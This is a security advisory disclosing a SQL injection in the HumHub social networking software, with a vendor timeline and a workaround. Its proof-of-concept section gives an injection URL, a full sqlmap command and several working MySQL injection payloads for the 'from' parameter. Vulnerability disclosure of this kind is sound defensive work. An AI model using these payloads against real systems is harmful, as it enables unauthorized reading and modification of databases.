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88 lines
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3.4 KiB
Text
=== LSE Leading Security Experts GmbH - Security Advisory 2015-10-14 ===
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HumHub - SQL-Injection
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------------------------------------------------------------------------
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Tested Versions
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===============
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HumHub 0.11.2 and 0.20.0-beta.2
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Issue Overview
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==============
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Vulnerability Type: 89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
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Technical Risk: high
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Likelihood of Exploitation: high
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Vendor: HumHub GmbH & Co. KG
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Vendor URL: https://www.humhub.org
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Credits: LSE Leading Security Experts GmbH employee Eric Sesterhenn
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Advisory URL: https://www.lsexperts.de/advisories/lse-2015-10-14.txt
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Advisory Status: Public
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CVE-Number: ----
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CVE URL: ---
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Impact
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======
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Enables to read and modify the HumHub Mysql Database.
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Issue Description
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=================
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While conducting an internal software evaluation, LSE Leading
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Security Experts GmbH discovered that the humhub social networking
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software is subject to an sql-injection attack.
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Temporary Workaround and Fix
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============================
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LSE Leading Security Experts GmbH advises to block
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access to the humhub software until the vendor
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provides a patch.
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Proof of Concept
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================
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Opening the following URL
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http://localhost/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5%27%22&mode=normal
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shows the SQL-error, which is easily exploitable using sqlmap.
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./sqlmap.py -u 'http://localhost:9933/humhub/humhub-0.11.2/index.php?r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5&mode=normal' --cookie='pm_getting-started-panel=expanded; pm_new-people-panel=expanded; pm_user-statistics-panel=expanded; pm_new-spaces-panel=expanded; pm_spaces-statistics-panel=expanded; sin=f9vou17vnik100rrr5b26v8ip3; CSRF_TOKEN=d94129bfdd49e5d2c628928228519cd6b2c9cf54' --level=2 --risk=2 -p from -a
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...
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---
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Parameter: from (GET)
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Type: boolean-based blind
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Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
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Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=-4670 OR 5804=5804#&mode=normal
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Type: error-based
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Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
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Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT 7208 FROM(SELECT COUNT(*),CONCAT(0x7170627671,(SELECT (ELT(7208=7208,1))),0x7170786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&mode=normal
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Type: stacked queries
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Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
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Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5;(SELECT * FROM (SELECT(SLEEP(5)))OXGN)#&mode=normal
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Type: AND/OR time-based blind
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Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
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Payload: r=directory/directory/stream&limit=4&filters=entry_mine,visibility_public,&sort=c&from=5 AND (SELECT * FROM (SELECT(SLEEP(5)))nBYr)&mode=normal
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---
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History
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=======
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2015-10-14 Issue discovered
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2015-10-15 Vendor contacted
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2015-10-15 Vendor response and hotfix
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2015-10-20 Vendor releases fixed versions
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2015-11-30 Advisory release
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GPG Signature
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=============
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This advisory is signed with the GPG key of the
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LSE Leading Security Experts GmbH advisories team.
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The key can be downloaded here: https://www.lsexperts.de/advisories-key-99E3277C.asc |